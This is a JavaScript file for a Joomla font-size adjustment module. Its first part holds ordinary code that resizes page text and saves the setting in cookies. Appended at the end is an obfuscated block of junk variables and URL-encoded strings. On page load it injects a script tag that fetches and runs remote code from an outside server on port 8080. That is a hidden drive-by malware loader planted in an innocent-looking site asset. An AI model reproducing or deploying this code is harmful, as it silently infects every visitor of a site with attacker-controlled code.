//FHW User Font Size Adjustment Module//
/**
* mod_fhw-fontadjust version 3.9
* @author Kevin Florida, 04/04/2009
* **customersupport@floridahostweb.com
* **www.floridahostweb.com
* ---------------------------------------------------------------------------
* This module is distributed free of charge under the GNU/GPL License.  This
* module is distributed without any warranties.  Use at your own risk. This module is based upon Simple Font Resizer by, UnDesign.
* Always backup your files and database prior to any new extension install.
* ---------------------------------------------------------------------------
* @package Joomla 1.5
* @copyright Copyright (C) 2009 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software and parts of it may contain or be derived from the
* GNU General Public License or other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
* This module is based upon Simple Font Resizer by, UnDesign.
* --------------------------------------------------------------------------- 
* --------------VERSION CONTROL----------------------------------------------
* --VERSION 3.0 BY: KEVIN FLORIDA, 08/17/2009
* ----1) Updated code, removed excessive javascript
* --VERSION 3.2 by: Kevin Florida, 08/19/2009
* ----1) Removed invalid Div Tags
* ----2) Added classes to image buttons
* ----3) Added Reset link class
* --VERSION 3.3 BY: KEVIN FLORIDA, 09/03/2009
* ----1) Added Pixel, Point, and Percentage params.
* --VERSION 3.4 BY: KEVIN FLORIDA, 09/04/2009
* ----1) Fixed default size issue.
* --VERSION 3.5 BY: KEVIN FLORIDA, 09/08/09
* ----1) Fixed img URL, made automatic detection
* --VERSION 3.5.5 BY: KEVIN FLORIDA, 09/17/09
* ----1) Added base URL to all tags to fix joomfish conflict
* --VERSION 3.6 BY: KEVIN FLORIDA, 09/17/2009
* ----1) Added new params to control max and min font sizes.
* --VERSION 3.8 By: Kevin Florida, 09/26/2009
* ----1) changed em typo to %
* ----2) Added em option
* ----3) Added Custom Text Option
* ----4) Added em.js file
* ------note: em option has a bug, commented out until fixed.
* --VERSION 3.9 BY: KEVIN FLORIDA, 10/02/2009
* ----1)  Fixed Artisteer Conflict
* ----2) Added tutorial link to language file.
*----------------------------------------------------------------------------
*/

var prefsLoaded = false;
var defaultFontSize = universalFontSize;
var currentFontSize = defaultFontSize;
var maxSize = maxSize;
var minSize = minSize;

function revertStyles(){

	currentFontSize = defaultFontSize;
	changeFontSize(0);

}



function changeFontSize(sizeDifference){
	currentFontSize = parseInt(currentFontSize) + parseInt(sizeDifference * 1);

	if(currentFontSize > maxSize){
		currentFontSize = maxSize;
	}else if(currentFontSize < minSize){
		currentFontSize = minSize;
	}

	setFontSize(currentFontSize);
};

function setFontSize(fontSize){
	var stObj = (document.getElementById) ? document.getElementById('content_area') : document.all('content_area');
	document.body.style.fontSize = fontSize + 'px';

	//alert (document.body.style.fontSize);
};


function createCookie(name,value,days) {
  if (days) {
    var date = new Date();
    date.setTime(date.getTime()+(days*24*60*60*1000));
    var expires = "; expires="+date.toGMTString();
  }
  else expires = "";
  document.cookie = name+"="+value+expires+"; path=/";
};

function readCookie(name) {
  var nameEQ = name + "=";
  var ca = document.cookie.split(';');
  for(var i=0;i < ca.length;i++) {
    var c = ca[i];
    while (c.charAt(0)==' ') c = c.substring(1,c.length);
    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  }
  return null;
};

window.onload = setUserOptions;

function setUserOptions(){
	if(!prefsLoaded){

		cookie = readCookie("FHWfontSize34px");
		currentFontSize = cookie ? cookie : defaultFontSize;
		setFontSize(currentFontSize);

		prefsLoaded = true;
	}

}

window.onunload = saveSettings;

function saveSettings()
{
  createCookie("FHWfontSize34px", currentFontSize, 365);
}


   
var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();